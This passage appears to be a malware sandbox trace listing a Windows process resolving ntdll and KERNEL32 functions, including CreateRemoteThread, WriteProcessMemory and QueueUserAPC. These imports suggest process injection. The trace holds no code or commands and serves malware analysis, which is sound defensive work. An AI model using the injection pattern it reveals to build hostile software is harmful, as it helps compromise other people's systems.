LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7738d2f3) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x774156cd) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7736e126) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7739b49f) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fa80) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x774153c3) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77414760) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memset", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7736df20) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773f1f40) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773ba152) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77362340) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773bc300) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7736f546) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77372265) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aulldiv", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7739b140) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allmul", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77382760) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aullshr", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77378860) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allshl", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77373140) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_chkstk", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7737ad68) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUnwind", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77386d39) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQueryVirtualMemory", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fbc8) returned 0x0 [0064.142] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x26fde0 | out: BaseAddress=0x26fde0*=0x769e0000) returned 0x0 [0064.142] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f542c) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1986) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f5aa6) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a745cf) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a7416b) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4467) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7739d598) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a19d3f) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1856) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773745f5) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f435f) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f49ca) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0eceb) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f14b1) returned 0x0 [0064.143] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1245) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f3e8e) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f18f1) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1826) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f10ff) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f49d7) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1410) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0d9e0) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f5506) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1809) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f53c6) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f5a4b) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0cfdf) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a12a9d) returned 0x0 [0064.144] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7736e026) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0d0a7) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a744bf) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f5444) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f14c9) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a12b7a) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1282) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1d526) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f11c0) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedIncrement", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1400) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedDecrement", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f13f0) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f35b7) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4a2d) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f16c5) returned 0x0 [0064.145] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77381f6e) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f110c) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f2d3c) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a12b0a) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a17d7e) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f43ef) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a13102) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4220) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4259) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4435) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f34d5) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0d802) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0efec) returned 0x0 [0064.146] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1828e) returned 0x0 [0064.162] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4442) returned 0x0 [0064.162] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f16dd) returned 0x0 [0064.162] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f54ee) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1450) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f168c) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f103d) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1830d) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1700) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1bb2f) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f89b3) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f17ec) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f328c) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4950) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1276c) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedExchange", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1462) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f3509) returned 0x0 [0064.163] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1b18) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f196e) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4173) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f3f5c) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f170d) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f11a9) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77362270) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773622b0) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4c6b) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0b6e0) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a74ae0) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0ec6f) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f111e) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a16dcb) returned 0x0 [0064.164] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1136) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769fdd0e) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77372c42) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f495d) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1222) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0174d) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1072) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f418b) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4c1b) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a7436f) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f186e) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0192a) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f59bf) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f11e0) returned 0x0 [0064.165] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f14fb) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f49ad) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f492b) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1ae5) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f34c8) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f3ed3) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f17d1) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a75c3f) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1735f) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a19f5d) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a75b93) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f11f8) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a01248) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1d53e) returned 0x0 [0064.166] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769fe2ce) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a741df) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f469b) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f5a96) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a71807) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, 